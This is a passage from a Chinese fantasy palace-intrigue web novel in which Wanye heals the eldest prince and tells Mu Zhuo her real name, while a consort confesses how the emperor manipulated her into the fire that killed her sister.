体内传来阵阵虚乏之感,如同潮水般涌上。她咬牙坚持,意念集中,引导着那团逐渐成型的、蕴含着生机与净化之力的光晕,慢慢塑造成一片花瓣的形态……
她不知道自己为什么在和影妖重伤的情况下还要帮助慕酌,可能,是因为他们都是来自南国,也可能是听了大皇子的事情,真的可怜他……
不知过了多久,也许只是片刻,一片与之前几乎一模一样、只是光华略显新鲜的“青灵护心瓣”虚影在她掌心上方缓缓旋转,凝实。
她猛地松了口气,身形晃了
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晃,连忙扶住粗糙的梅树树干,指尖冰凉。成功了,但消耗之大,远超预期。她小心地将新凝的花瓣以灵力封存于随身一枚温润的玉坠之中,这才稍感安心。
待气息稍稍平复,她整理了一下微乱的鬓发和衣襟,拭去额角冷汗,尽量让自己看起来如常,这才转身往回走。
经过那处假山,地下室门还开着,慕酌已经不在那里,宛楪走下去,有些勉强。
旧的护心花和新的护心花作用,大皇子的面色开始变得舒缓,一股青色的灵力在李胜周围弥漫,断掉的骨头,错位的四肢慢慢在复原…
宛楪面色有些复杂的看着李胜,想到一开始跟这个人合作,还不惜以自身为代价,引出那个傀儡人,就是不愿意出卖自己的国家。
可他的国家就是这么对他的,看着多日不见就这么惨目忍睹的大皇子,宛楪有些不忍心,她把头转了过去。
北国怎么经研究这些邪术,这些和影妖又有什么关系……
宛楪神色变得严肃,强行使用大量法力,有些反噬,她嘴角溢出一丝鲜血,绿色的鲜血……
她赶紧擦干净,没有过多停留,轻咳两声走上去,外面的月色很好,清凉的柔和,像是梦幻的蚕丝锦布从天而降。
刚踏入主院范围,便见慕酌独自立在方才他们战斗过的廊下。
他已还剑入鞘,负手而立,仰头望着天际那轮清冷的明月,不知在想些什么。月光如水,倾泻在他挺拔的身上,勾勒出清晰的肩线轮廓,也在地面积雪上投下一道孤直的影子。四周静谧,只有微风偶尔拂过廊下未扫净的瓷粉,发出极其细微的沙沙声。
听到脚步声,慕酌转过头来。他的目光先是快速扫过她全身,像是在确认什么,随即落在她脸上。廊下光线半明半暗,他的眼神在阴影中显得格外深邃。
“去了许久。”他开口,声音比平时低沉些许,听不出什么情绪,只是平淡地陈述。
宛楪走到他身侧半步之遥停下,也抬眼望向那轮月亮,勉强弯了弯唇角:“嗯,在那边小园里……看了会儿月亮。今夜月色,倒是难得清明。”她声音轻柔,带着一丝不易察觉的疲惫。
靠近慕酌,他心脏处的本源之力传过来,和她自身相辅相成。
两个人就在廊下坐下,看着天上的月色,她不由得把头靠了过去。
慕酌没有立刻接话,只是静静地看着她。月光流淌过她略显苍白的脸颊,细腻的肌肤仿佛染上了一层薄薄的、清辉的釉色,长睫在眼下投出浅浅的阴影,遮住了眸底可能泄露的情绪。寒风撩起她几缕鬓边碎发,拂过精巧的耳廓。
月亮女神,慕酌闪过他这几天见到的宛楪,妖邪的,空洞的,明媚的,神性的,灵动的,真的,很像天上的,他不敢触碰的……神。
他忽然极轻地动了一下,原本负在身后的手自然垂落身侧,指尖微微蜷缩,又松开。两人之间的距离似乎并没有变化,但空气里某种无形的张力,却因这静谧和月光,悄然发生着改变。
“是很好看。”他低声道,目光却并未从她侧脸移开,仿佛说的不止是月色。
宛楪感觉到他的注视,心跳不受控制地漏了一拍,随即又稍稍加快。她依旧望着月亮,指尖却无意识地捻了捻袖口微凉的布料。
夜风送来远处隐约的、不知是真实还是臆想的瓷偶摩擦声,更衬得此刻这方小天地的宁静如同偷来的一般,脆弱而珍贵。
两人就这样并肩立于廊下,谁也没有再说话。月光无声流淌,将他们的影子拉长,在洁白的雪地上浅浅交融。
远处府邸深院的阴谋、地下石室的痛苦、即将到来的腥风血雨,仿佛都被这清冷的月辉暂时隔开。
只有微凉的夜风,淡淡的、属于雪与梅的冷香,以及彼此近在咫尺、清晰可闻的呼吸声,萦绕在这片刻的、心照不宣的静谧里。
突然想到什么,慕酌攥紧了自己身旁的衣角,反复揉搓,上好的锦色料子平白多了很多褶皱。
84. 白家
加油,慕酌,你可以的!
慕酌深深吸了一口气,廊下清冷的空气涌入肺腑,却带不走心头那丝盘桓许久的疑问,终究是打破了这片偷来的静谧:
“那个……”他声音不高,在寂静中却显得格外清晰,“六六……或许并非你的真名吧?”
话音落下的瞬间,宛楪的身子几不可察地微微一僵。
他不说,自己都忘了这个随口胡诌的名字。难得这位居然还记得。
夜风似乎都停滞了一刹。
宛楪心中警铃无声敲响,他为何突然问这个?是在怀疑什么?还是……另有所指?
她的目光下意识地从朦胧的月色移向他,试图在那张被月光勾勒出分明轮廓的脸上,搜寻一丝一毫的试探、警惕或别的深意。
然而,慕酌的眼神在阴影与月华的交界处,显得异常平和,甚至带着一种纯粹的、近乎温和的好奇,专注地等待她的回答,并无她预想中的任何异样锋芒。
沉默在两人之间蔓延,只有远处更漏传来极轻微的滴答声。
宛楪的思绪,却不由自主地被这句话牵动,飘向了更久远的时空。
泥泞与血腥味混杂,濒死的绝望中,是那位官家小姐递来的温暖手掌和决绝的背影。
还有……那枚沾着血与泥、却被小心塞进她手中的令牌,冰凉坚硬的触感,上面深刻着三个字——
萧咏歌。
一个本应属于另一个明媚鲜活生命的名讳,一份沉重的托付,一段她背负着行走于世间的“缘法”。
犹豫只在心底盘旋了短短一瞬。面对慕酌此刻的目光,那里面或许有探究,但并无恶意。
她缓缓抬眸,迎上他的视线,声音比夜风更轻,却字字清晰:“我叫……萧咏歌。”
“萧咏歌……”慕酌轻声重复,这三个字在他舌尖滚过,带着某种珍而重之的意味。
他看着她,月光落进他眼底,漾开细微的涟漪,“很好听。这名字……很适合你。”
没有追问为何化名,没有探究来历,只是这样一句简单的评价,却仿佛在寂静湖面投下一颗小石子,漾开的波纹轻轻撞在宛楪心壁上。
适合吗?
宛楪心中五味杂陈。
这名字承载着另一段人生,另一份因果。
她想着北国之事终将了结,届时尘归尘,土归土,她必须回归属于自己的轨迹。
此次相遇,本就是法力尽失、遭人追杀时误入军营的意外。如今灵力渐复,前路未明,与慕酌的这段“同行”,或许真的到了该画上句点的时候。
此番助他,也算间接偿还了些许因果吧……
只是这念头浮起时,心尖那抹极淡的滞涩感,被她悄然忽略。
然而,此刻陈王府内这片刻的、近乎虚幻的宁静之下,真正的风暴已然在皇城最核心处悍然降临!
几乎就在宛楪说出真名的同一时刻,遥远的皇宫方向,原本只是零星火光的夜幕,陡然被一片冲天而起的赤红撕裂!
震耳欲聋的喊杀声、兵器剧烈碰撞的铿锵声、建筑倒塌的轰鸣声,混杂着凄厉的惨叫,即便隔着重重宫墙与街巷,那令人心悸的声浪依然隐隐传来,瞬间打破了京城深夜的死寂。
火光映红了半边天际,浓烟滚滚升腾,将清冷的月光都染上了不祥的猩红。
三皇子竟毫无征兆地发动了政变!
御林军与叛军在内宫通道上疯狂绞杀,血光飞溅,昔日庄严肃穆的宫阙,顷刻沦为最惨烈的修罗战场。
而在宫中,那间更为隐秘、只有陈王与极少数心腹知晓的暗室中,气氛同样凝重得令人窒息。
烛火在密闭的空间里不安地跃动,光线昏黄摇曳,将室内三人的影子投在冰冷石壁上,扭曲晃动。
十三皇子李琰与陈王并肩而立,对面,正是刚从冷宫出来不久、形容大变的贵妃。
眼前的景象足以让任何人心胆俱寒。
贵妃……她曾经端庄秀美的面容,此刻竟呈现出一种诡异的、非人的状态!
半边脸依旧保持着依稀可辨的柔美轮廓,肌肤苍白;而另外半边,却覆盖着一层光滑、冰冷、泛着幽幽哑光的瓷质!
那瓷质并非贴附,而是仿佛从皮肉之下生长出来,与血肉经络怪异交融,边界处皮肤与瓷器犬牙交错,看得人头皮发麻。
她的脖颈、手臂,凡裸露在外的皮肤,都不同程度地呈现出这种半人半瓷的恐怖特征。
一股甜腻中带着腐朽、冰冷中透着邪异的气息,从她身上隐隐散发出来,弥漫在整个狭小的暗室。
起初,贵妃那双尚未完全瓷化的眼中,充斥着的只有滔天的恨意与疯狂。
她死死盯着李琰,这个姐姐留下的、如今竟敢站在她面前索要“真相”的孩子,言辞如淬毒的冰针,尖锐而刻薄:
“怎么?来替你母妃讨债了?看看你如今的样子,倒是有几分白家血脉的硬气,可惜……太迟了!你们都太迟了!”
她冷哼一声,“我的孩子已经死了,你以为我还会受你的牵制,我从冷宫里放出来,是有你的功劳,可现在,你就和你那个该死的父皇一起,去陪我的胜儿!”
李琰面沉如水,袖中双拳紧握,指甲深深陷入掌心。
“还有你,怎么,迫不及待来看我的笑话,我让你帮忙烧死了自己的姐姐,我是一个很恶毒的人吧。”
贵妃发出一阵癫狂的大笑,带着割断喉咙一样的破空声。
“不是的,云儿,你听我说。”
陈王看见白婷云的样子,心脏几乎痛的不能自己。
他用嘶哑干涩的声音,急切地告诉她,李琰已经设法暂时稳住了大皇子李胜的状况,甚至带来了可能压制“赤魔蛊”的一线希望。
贵妃整个人如遭雷击。
她脸上那混合着恨意与讥诮的扭曲表情瞬间凝固,随即,一种更为剧烈的情绪波动席卷了她。
那双尚且属于“人”的眼眸中,疯狂褪去,取而代之的是难以置信的震动、狂喜,以及排山倒海般涌上的、积压了二十年的绝望与悔恨。
“胜儿……我的胜儿……他还……还有救?”
她的声音颤抖得不成调子,半瓷化的脸颊肌肉无法做出完整的哭泣表情,只能僵硬地抽搐着,泪水却从那尚属血肉的眼眶中汹涌而出,划过冰冷瓷质与苍白皮肤的交界,滴落在
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华贵却陈旧宫裙的前襟,晕开深色的湿痕。
那半哭半僵的模样,在昏暗跳跃的烛光下,显得无比诡异,又无比悲凉。
她猛地向前扑了一步,身体因异化而有些失衡,陈王下意识想扶,却被她挥开。
她看着李琰,眼中的恨意被一种近乎哀求的急切取代,声音因激动和哽咽而断断续续:
“是你……谢谢你,你要我做什么都行,我可以给你当牛做马!”
“求求你……求求你,救救胜儿!”贵妃哭的肝肠寸断,声嘶力竭。
“不用,我母妃,到底是谁害死的?!”李琰声音冷冷。
贵妃怯懦着,头低了下去,很不愿意撕开的伤痕被揭开。
“当年……当年白家权势日盛,功高震主,你父皇……他早就忌惮不已!”
她喘着气,眼角的泪接着滑下,每一个字都像是从肺腑里艰难地挤出来,
“傅恒!是傅恒那条恶狗!他最会揣摩圣意,主动替你父皇分忧……芷兰宫那场大火……就是他一手策划!他想彻底铲除白家在宫里的根基,就是你的母妃,我的姐姐!”
贵妃哭的更凶了,回忆着曾经害死整个白家的事情,身体不断在抖。
“可我……我也是被逼的!”
李琰的呼吸骤然粗重,脸色在烛光下铁青一片,眼中风暴凝聚。
贵妃痛苦地捂住半瓷的脸,泪水流得更凶,
“我与你母妃自幼一起长大,情同姐妹,我怎么会……怎么会忍心害她?是那些人,他们说,你的母妃,姐姐,姐姐要害白家,那个恶心的皇帝,甚至和我说,这么做是为了白家!”
“我真蠢。我居然信了……”
“我只能眼睁睁看着,看着火起,看着她……”她哽咽得几乎说不下去,身体剧烈颤抖。
“后来……白家被构陷谋反,满门抄斩……我也被寻了由头幽禁,这些年……我每一天都在炼狱里煎熬!”
“我想着胜儿,想着姐姐,想着白家上下那么多条人命……可我什么都做不了!我恨!我恨皇帝!恨傅恒!也恨我自己!”她嘶哑地低吼,半瓷化的面容扭曲出痛苦到极致的弧度,
“我以为……我以为胜儿终于也逃不过,变成了那副样子,是我的报应,是老天爷在罚我……可我没想到……没想到他变成那样。''
"也是因为……因为皇帝赐的‘毒药’,逼得我走投无路,用了那该死的‘赤魔蛊’!都是他!一切都是因为他!”
暗室中,只剩下贵妃压抑不住的、混合着呜咽与瓷器轻微摩擦声的哭泣,以及烛火哔剥的轻响。
陈王站在一旁,脸色灰败,眼中翻涌着对贵妃遭遇的深切怜悯,以及对皇帝和傅恒那刻骨铭心、几乎化为实质的痛恨。
这场始于帝王猜忌、经由权臣之手、蔓延至后宫深处、缠绕了两代人生死荣辱的宫廷阴谋,如同一张巨大、黑暗、沾满血腥的罗网,此刻终于被幸存者颤抖的手,一点点撕开狰狞的缺口,露出了其下森然的白骨与未曾冷却的污血。
而李琰,站在这真相的中央,只觉得一股冰寒刺骨、又灼热焚心的怒焰,正从他灵魂深处,不可遏制地升腾而起。
85. 当年的真相(一)
永昌十二年的春,边关的寒意尚未褪尽,一道明黄圣旨已如淬冰的箭矢,射穿了白家老宅的平静。
跪在厅前的,是白家真正的幼女,刚及笄的白婷云。
她垂着头,鸦青的发髻上只簪了朵素白银簪,耳畔听着内侍太监那毫无起伏的宣旨声,指尖深深掐进掌心柔软的衣料,却感觉不到疼。
只清晰地捕捉到那几个字:“……淑妃贤德却多年无子,皇帝顾念亲谊……白氏幼女婷云,柔嘉成性,特准入宫伴驾,以慰圣怀,亦全淑妃姐妹相守之意……”
荒谬。姐姐白薇入宫近十载,位居淑妃,何曾需要她一个未谙世事的妹妹去“相守”?
父亲白老将军跪在最前,背影如沉默的山峦,只在谢恩叩首时,那宽阔的肩背几不可察地沉了一下,像不堪重负。
身后传来母亲极力压抑的、从喉间逸出的呜咽,细碎而绝望。
薇姐姐温婉沉静,知书达理。而自己,白婷云,甚至与陈王李辰有过长辈默许的口头婚约。
她本该如父兄一般,纵马边关,或寻一知心人,安稳度日,而非卷入这重重宫闱。
可圣旨就是天意,雷霆雨露,皆是君恩。
没有转圜余地,甚至没有太多时间容人悲戚。入宫前夜,母亲哭肿了眼,拉着她的手,万千叮咛化作滚烫的泪。父亲在书房独坐到天明,出来时眼底血丝密布,将一枚小巧的、刻着白家狼首暗记的玄铁指环套在她纤细的指上,喉头滚动良久,最终只吐出沉重如铁的几个字:
“云儿……活着。护好自己,也……看顾你薇姐姐。”
她茫然点头。薇姐姐在宫中已是淑妃,需要她看顾么?
马车驶离边城那日,黄沙漫天。她终究没忍住,悄悄掀开车帘一角回望。
“忠勇白府”的匾额在风沙中渐行渐远,模糊成一片昏黄的旧影。
袖中,一枚温润的羊脂玉佩贴着肌肤,带着另一个人的体温——那是陈王李辰昨日冒险拦下车队,匆匆塞入她手中的,上面寥寥几笔,刻着边关常见的云雁,拙劣却真切。
他说:“婷云,等我。”可她等不到了。指尖拂过玉佩,冰凉一片。
宫廷的巍峨与精致,是边关长大的白婷云无法想象的牢笼。朱墙太高,仰头望去,只觉天空都被切割成窄窄的一条。琉璃瓦反射着过于炫目的日光,晃得人眼晕。
姐姐白薇在芷兰宫接她。薇姐姐穿着淡青色的宫装,未施浓粉,笑容依旧是记忆里的温柔,只是那温柔底下,仿佛沉淀了一层宫里特有的、挥之不去的倦意与谨慎。她牵起婷云的手,指尖微凉。
“云儿来了。”声音轻柔,带着不易察觉的叹息,“宫里规矩多,不急,慢慢学。有姐姐在。”
最初的日子,像踩在虚幻的云端,美好得不真实。
皇帝李衍对她的宠爱,来得汹涌而突兀。她年纪最小,眉眼间还残留着塞外风沙淬炼出的明亮与生机,在一众循规蹈矩、妆容精致的妃嫔中,显得格外扎眼。
赏赐如流水般涌入她的“储秀阁”,珠玉锦绣,海外奇珍,堆叠如山,其丰厚程度甚至隐隐超过了资历更深的淑妃芷兰宫。
皇帝常来,有时批阅奏折累了,便来她这里坐坐,听她磕磕绊绊地弹奏并不熟练的边塞小调,或是听她讲述边关风物、父兄轶事——那些故事,在她口中被小心地剔除了铁血与苦寒,只余下猎奇与趣闻。
他总是含笑听着,目光落在她因讲述而微微发亮的脸上,那眼神很深,像平静的湖面,底下却潜藏着让她本能不安的暗流。
她被这突如其来的、极致的恩宠淹没了。
少女的心房被蜜糖与虚荣填满,却又在夜深人静时,感到一种无依的虚空。
她对着铜镜中日益娇艳、却渐失边关野气的面容,会恍惚想起陈王李辰星子般清亮的眼睛,想起纵马时掠过耳畔的呼啸风声。
但随即用力摇头,将那不该有的念想死死压下——她是云妃了,皇帝的云妃。
偶尔,在皇帝不曾留宿的夜晚,她会提着宫灯,走过长长的、寂静的宫道,去芷兰宫寻薇姐姐。
姐姐总在偏殿暖阁里,就着灯火看书或做些绣活,话不多,问她宫中起居,皇帝待她可好。她总是兴致勃勃地说着今日又得了什么赏赐,皇帝又说了什么趣话。
薇姐姐便安静地听着,唇角噙着淡笑,只是那笑意,很少能抵达眼底深处。有一次,她终于忍不住,问:“姐姐,皇上……待你也这般好么?”
白薇穿针引线的手微微一顿,抬起眼,目光在她天真犹存的脸上停留片刻,复杂难辨,最终只是轻轻拍了拍她的手背:“皇上待我,自是好的。云儿,圣心如渊,恩宠似露。有些事,放在心里,比说出来稳妥。”
她似懂非懂,只觉得入宫后的姐姐,比在家中时更加沉静,也更加疏远了。
裂痕的种子,是在那些看似随意的“体己话”中,被悄然埋下的。
皇帝来储秀阁的次数愈发频繁,留宿反而不多,更喜欢屏退左右,与她“闲谈”。话题从风花雪月,渐渐转向朝堂,转向边关,转向……人心。
“你父亲镇守北境,劳苦功高,朕心甚慰。”皇帝执起白釉茶盏,氤氲热气模糊了他英挺的眉眼,声音温和,
“只是兵权过重,终非朝廷之福。朕有时思及,夜不能寐。”
白婷云心头一紧,不知如何接话。
皇帝话锋似不经意地一转:“你姐姐淑妃,性子是极好的,沉静守礼。只是她入宫多年,与你白家书信往来似乎并不密切?”
他放下茶盏,目光关切地落在她脸上,“她虽姓白,终究非白家亲生骨血。这情分,与你这嫡亲血脉,自是不同。”
“朕担忧……她久居深宫,眼见亲妹得宠,家族或将更多心力置于你身,心中可会有所芥蒂?毕竟,女子一生,荣辱系于父兄。若家族……有所偏倚,难免心生怨望。”
“不
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会的!”
白婷云几乎脱口而出,脸色微微发白,“薇姐姐不是那样的人!她最是温柔懂事,常念及父亲母亲养育之恩!”
皇帝并未反驳,只是轻轻叹了口,抬手似乎想抚她的发,最终却只是落在她肩头,力道温和却带着无形的压力:
“朕知你姐妹情深,不愿以恶意揣度。罢了,许是朕多虑了。”
直到她怀孕生下皇帝的第一个孩子,皇上很高兴,希望孩子以后常年欢喜,岁岁胜今朝。
赐名,李胜。
因此,她的位份升到了皇贵妃,在没有皇后的后宫,她就是最大的,甚至得到了协理六宫之权。
皇帝没有因为她生了孩子,身材走样,就嫌弃她,时常来宫里作伴,却每一句话都带着微妙的警告。
“云儿,你年纪尚小,心地纯善,不知这九重宫阙之中,人心之复杂幽微,远超边关明月黄沙。多留一分心,总无大错。”
“朕……只是不希望你受到任何伤害,无论是来自外人,还是……身边最亲之人。”
“听说,淑妃最近在买一些补身子的药,还有堕胎的药。我听太医说,堕胎的药对生完孩子的女子也是有害的,相当于慢性毒药。“
云儿,最近小心……”
他的话语,像春日里无声渗入地底的冰泉,带着刺骨的寒意,缓慢却坚定地侵蚀着她对姐姐毫无保留的信任。
她很少和姐姐来往,对于姐姐送来的东西,自己也从来不碰,也不让胜儿碰。
甚至有一次,她无意间听见两个在芷兰宫侍奉多年的老宫人低声絮语,提及多年前淑妃似乎曾因一直无子之事,与家中往来书信中,有过些许不甚愉快的言辞……
她开始不由自主地用另一种目光审视芷兰宫的一切。
为什么薇姐姐总喜欢独自待在偏殿?
为什么提起边关家书时,眼神会有瞬间的飘忽?
为什么皇帝赏赐的许多东西,她都只是登记入库,很少动用穿戴?
她真的,想害自己吗?
怀疑的种子一旦落下,便会在恐惧与不安的浇灌下,自行生根发芽,长出带着毒刺的藤蔓,悄然缠绕住心脏,每一次搏动都带来隐秘的刺痛。
接到全权筹办中秋夜宴的旨意时,白婷云心中是雀跃与忐忑交织的。
这是莫大的恩宠与信任,也是证明自己的机会。她铆足了精神,事无巨细,亲自过问,只想将这差事办得风光体面,不负圣望,或许……也想向薇姐姐证明,自己并非什么都不会的稚女。
然而,夜宴前三日,一场猝不及防的风暴降临。
有密奏直呈御前,言贵妃白婷云入宫前曾与陈王李辰过从甚密,而今旧情未断,恐于宫宴之上与陈王暗通消息,滋生事端。
甚至有人说,大皇子是陈王的血脉……
她跪在乾元殿光可鉴人的金砖地上,盛夏的闷热被无边的寒意取代,冷汗瞬间湿透重衣。
86. 当年的真相(二)
辩解的话语冲到嘴边,却因巨大的惊惧而变得零碎苍白:“臣妾没有……自入宫,再未……陈王他……”
御座之上,皇帝沉默着,那沉默比任何斥责都更令人窒息。殿内唯有更漏滴水,嗒,嗒,敲打在她濒临崩溃的神经上。不知过了多久,皇帝缓缓起身,一步步走下玉阶,停在她面前。
明黄龙袍的衣摆映入低垂的视线,接着,一双有力的手将她扶起。皇帝的手掌温暖干燥,却让她止不住地颤抖。
“朕信你。”
他的声音不高,却清晰地凿入她耳中,带着奇异的、不容置疑的力量,
“朕的云儿,秉性纯良,断不会行此悖逆之事。”
悬到喉头的心,并未落下,反而被一只无形的手攥得更紧。
“但是,”皇帝牵着她,走向内殿屏风之后,声音压得更低,神色是前所未有的凝重,
“朕接到确凿密报,陈王李辰……确有异心。他勾结北境某些心怀怨望的将校,意图借此次宫宴百官齐聚、守卫难免疏漏之际,行刺驾之大逆之举!”
白婷云眼前一黑,腿一软,几乎瘫倒,被皇帝牢牢扶住。
她抬头,撞进皇帝深不见底的眼眸,那里面有关切,有沉重,更有一种她看不懂的、近乎冷酷的锐利。
“朕知你难以接受。”皇帝握紧她冰凉的手,力道大得令她骨节生疼,“但此事千真万确,关乎国本,更关乎你白家满门生死!朕将宫宴暗中防卫调度之权,交予你手。”
他俯身,气息拂过她耳畔,字字如铁,砸在她心上:“云儿,这是你证明清白、挽救白家的唯一机会。”
“朕不管你用什么方法,哪怕……需要紧急密令你父亲麾下绝对忠诚可靠的少数精锐,以特殊身份潜入京畿,暗中协防。”
“只要你能确保宫宴平安,粉碎这场阴谋。事成之后,朕不仅为你洗刷污名,更可下旨,擢升白家子弟,调你父兄回京任职,保你家族世代安稳,光耀门楣。否则……”
未尽之言,比任何明确的威胁都更令人胆寒。家族的存亡,姐姐的安危,自身的清白……千钧重担,轰然压上少女单薄的肩膀。
她看着皇帝眼中那混合着“信任”、“期望”与不容抗拒威压的复杂光芒,最终,颤动的睫毛垂下,极轻、极缓地点了点头。
接下来的三天,白婷云如同在烧红的刀尖上行走。
她按照皇帝隐晦的指示,利用贵妃的权限和皇帝“特许”的密令,紧张而隐蔽地调整着宫宴的布防。
几个关键位置的守卫被悄然替换,名单她甚至不敢细看,只记得皇帝说“皆是绝对可靠之人”。
每一道指令传下,她的手心都浸满冷汗,仿佛能听见边关父兄失望痛心的怒吼,能看到陈王李辰难以置信的、破碎的眼神,还有薇姐姐……薇姐姐会怎么看待她?
宫宴当晚,华灯璀璨,觥筹交错。她盛装坐在皇帝下首稍侧的位置,脸上敷着精致的胭脂,指甲却深深掐进掌心,用尖锐的疼痛维持着唇角僵硬的弧度。目光在满堂衣香鬓影中逡巡,始终未见那道熟悉的身影。心,一点点沉入冰冷的湖底。
变故发生在御酒三巡,歌舞最酣之时。一声尖锐的、似鸟非鸟的呼哨不知从何处响起,几名旋舞正急的“胡姬”突然甩开层层叠叠的七彩舞袖,寒光如毒蛇吐信,骤然亮出!
殿内瞬间陷入混乱!护卫从梁上、柱后、屏风旁蜂拥而出,刀剑碰撞之声刺耳惊心!
皇帝被侍卫们用身体和盾牌死死护在中央,他猛地站起,脸色铁青,厉声喝道:“护驾!拿下逆贼!”
混乱中,白婷云惊恐的目光捕捉到一名刺客被挑飞面巾后的脸——那是一张风霜刻画、带着边地特有粗粝痕迹的面孔,竟有几分眼熟,似乎……似乎曾在父亲麾下某位偏将的身边见过!她浑身血液仿佛瞬间冻结,四肢冰凉。
刺杀来得突然,结束得也快。刺客或伏诛,或被生擒。大殿内一片狼藉,弥漫着血腥与恐惧的气息。
皇帝震怒,当众拂袖,凌厉的目光如淬毒的箭矢,直射向瘫软在座位上面无人色的白婷云:“云皇贵妃!”
这一声,让所有惊魂未定的目光齐刷刷聚焦在她身上。
“朕将安危托付于你,你就是这般回报朕的?!这些逆贼如何混入?防卫漏洞何在?”
皇帝的声音不大,却字字千钧,敲在每个人心头,“你给朕解释清楚!是不是还念着旧情,故意疏漏,甚至……与逆贼里应外合?!”
“臣妾没有!皇上明鉴!”
白婷云仓皇跪倒,泪水夺眶而出,语无伦次,“臣妾不知……那些守卫……”
“不知?”皇帝冷笑,眼中是毫不掩饰的失望与震怒,“好一个不知!朕看你,是心中有鬼!来人,将贵妃带回储秀阁,严加看管,无朕旨意,不得出入!”
她被两名面无表情的太监架起,拖离了那片令人窒息的大殿。身后,是死一般的寂静,以及无数道或怜悯、或鄙夷、或幸灾乐祸的视线。
翌日,旨意下达:白家居功自恃,御前失仪,且其女皇贵妃白婷云协理宫宴防卫不力,有勾连逆王之嫌,着即幽禁白氏满门于府邸,无旨不得出入,北境兵权暂由副将代管。
同时,储秀阁内外被严密把守,她与外界的一切联系被彻底斩断,成了这深宫中一座华丽而绝望的孤岛。
皇帝没有夺了她的位份,却也相信了白家入宫图谋不轨。
那些臣子说,白家没有得到皇帝的传召,私自进京,白婷云当然想伸冤,但事情就是这样,是她用皇贵妃密令……
她想和皇上说,想和父兄说,可是她被幽禁,偌大的宫殿全是皇帝的眼线和侍卫,还不让她出门,任凭她使尽了办法……
白家被幽禁的消息,如同最后一根稻草,压垮了白婷云残存的理智。
恐惧像潮水,日夜不息地漫上来,淹没口鼻。皇帝开始“偶尔”来储秀阁,每次来,都带来更沉重的“消息”和更晦暗的、指向明确的暗示。
他将几份“查
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获”的文书摊在她面前。
上面是模仿边军笔迹的“密信”,盖着模糊却令人心惊的印鉴;还有一份“礼单”,记录着一些违禁的军资流向。
皇帝疲惫地揉着额角,眼下有着明显的青影,声音沙哑:“云儿,朕尽力周旋了。但这些东西……若在朝堂上公之于众,白家便是铁证如山,谋逆大罪,万劫不复。你说,它们究竟从何而来?是谁,要如此构陷忠?”
他引导着她的思绪,用最轻柔却最冰冷的语调,编织着一张无形的网:
“你姐姐淑妃……近日,朕的人发现,她宫中的掌事太监,似乎与某些宫外来历不明之人,有所接触。”
“她对你白家,真如表面那般毫无保留么?一个养女,眼见嫡亲妹妹入宫便得专宠,家族荣光或将转移……心中当真毫无芥蒂?何况,她入宫多年只有一个孩子,可能也只有这一个,而你……年轻健康。”
“你们生的还都是皇子……”
“不!不可能!”白婷云尖声反驳,浑身发抖,“薇姐姐不会!她不会害白家!她是我姐姐!”
皇帝并不与她争辩,只是用一种近乎悲悯的眼神看着她,转身离开。
她不信,偷偷跑出去到芷兰宫。
但她真的在芷兰宫宫中隐秘处,发现了一些……不该存在的东西。尚未惊动淑妃。”
少女惨白如纸、濒临崩溃,却怎么都不敢相信,姐姐的宫里真的有陷害父亲谋反的证据!
等她失魂落魄地回去,皇帝留下的太监,深深叹了口气,劝着。
“娘娘,有些东西,看见了,便是泼天大祸的源头。如何处置…选择权在您。为了白家所剩无几的生机,也为了你自己在宫中的将来。”
他离开后不久,心腹太监和侍卫首领如同鬼魅般悄然出现,神色“焦灼”万分:“娘娘!刚得的消息,皇上今夜似乎有意翻您姐姐的牌子!”
白婷云感觉天要塌下来,她来不及处理完,姐姐就回来了,还质问她在做什么。
她和姐姐发生了争吵,句句都是指责,皇上却在这个时候找她,心腹说再来的路上,她是偷跑出来的,忤逆圣旨是大罪,她不得不回去。
等她回来,皇帝没说什么就走了,这更让她惴惴不安。
现在皇帝翻了姐姐的牌子,可芷兰宫那边……那些要命的东西留不得啊!
“皇贵妃娘娘啊,淑妃娘娘若夺得圣宠,抢先发难,怎么办?”
太监的声音又急又低,带着蛊惑与恐吓:“为今之计,只有一把火烧了干净!就在芷兰宫,趁淑妃娘娘此刻被我们的人以‘赏御赐新菊’为由,请去了御花园偏远处!"
"神不知,鬼不觉!烧了那些腌臜物,死无对证!届时您再与淑妃娘娘当面对质,她空口无凭,又能如何?这是眼下唯一能暂时保住白家血脉的法子啊!娘娘,当断则断,时间不等人了!”
要是姐姐真的想害白家,或者皇上临时起意去查,白家就真的全完了!九族尽灭,就在眼前!
88. 贵妃的转变
芷兰宫的焦土尚未完全冷却,刺鼻的烟味仿佛已渗入宫廷的每一块砖石、每一口呼吸。白婷云被移居到一座更为偏僻、靠近西苑冷宫的殿宇,匾额上“静思堂”三个字透着刻意为之的疏离与警诫。
她的贵妃份例依旧,宫人伺候也未敢懈怠,但每一道投向她的目光,都裹着一层薄冰,底下是畏惧、猜疑,以及难以言说的、对“弑亲争宠”传闻的鄙夷。
皇帝再未踏足此处,只偶尔遣内侍送来些寻常赏赐,仿佛她只是一件需要定期擦拭、却不必再费心把玩的旧瓷器。
她整日不言不语,常常对着窗外一株叶子落尽的枯树,一坐便是几个时辰。
眼眸深处那场大火的倒影从未熄灭,日夜灼烧着。
偶尔有细微的声响,都会让她惊跳起来,仿佛又听到梁柱坍塌的轰鸣、宫人凄厉的哭喊。
她开始惧怕火焰,惧怕任何明亮的光源,殿内常年只点一两盏昏黄油灯,将她的影子拉得摇曳不定,如同徘徊不去的冤魂。
身体也以一种诡异的速度衰败下去。肤色愈发苍白,近乎透明,触手冰凉。
关节在某些晨起时会感到细微的、类似瓷器摩擦的滞涩感。
御医来看过,只说是“忧思过度,气血两亏,邪寒侵体”,开了无数温补的方子,喝下去却如同泥牛入海。只有她自己知道,有什么东西正从内里将她慢慢冻结、固化,如同窑中正在冷却的胎坯。
转机,如果那能称之为转机的话。
出现在大皇子李胜一场突如其来的、来势汹汹的急病之后。
彼时李胜已十来岁,生的伶俐可爱,是皇帝膝下颇为得宠的皇子之一。一场风寒后竟转为肺疾,高烧不退,咳喘不止,太医院束手无策,直言“恐伤根本,有早夭之虞”。
消息传到静思堂时,白婷云正对着一碗冷透的药汁发呆。听到“胜儿”二字,她死水般的眼瞳几不可察地波动了一下。
就在所有人以为大皇子凶多吉少之际,皇帝陛下“忧心忡忡”、“不顾劳顿”,亲自前往皇家道观祈福七日,并“感动上苍”,求得了一枚由“海外仙方”配以“九转金丹”之法炼制的“续命灵药”。圣旨伴着那枚装在紫檀木盒中、异香扑鼻的赤红丹丸一同赐下,言明“此乃父皇一片苦心,望能挽皇儿于危殆”。
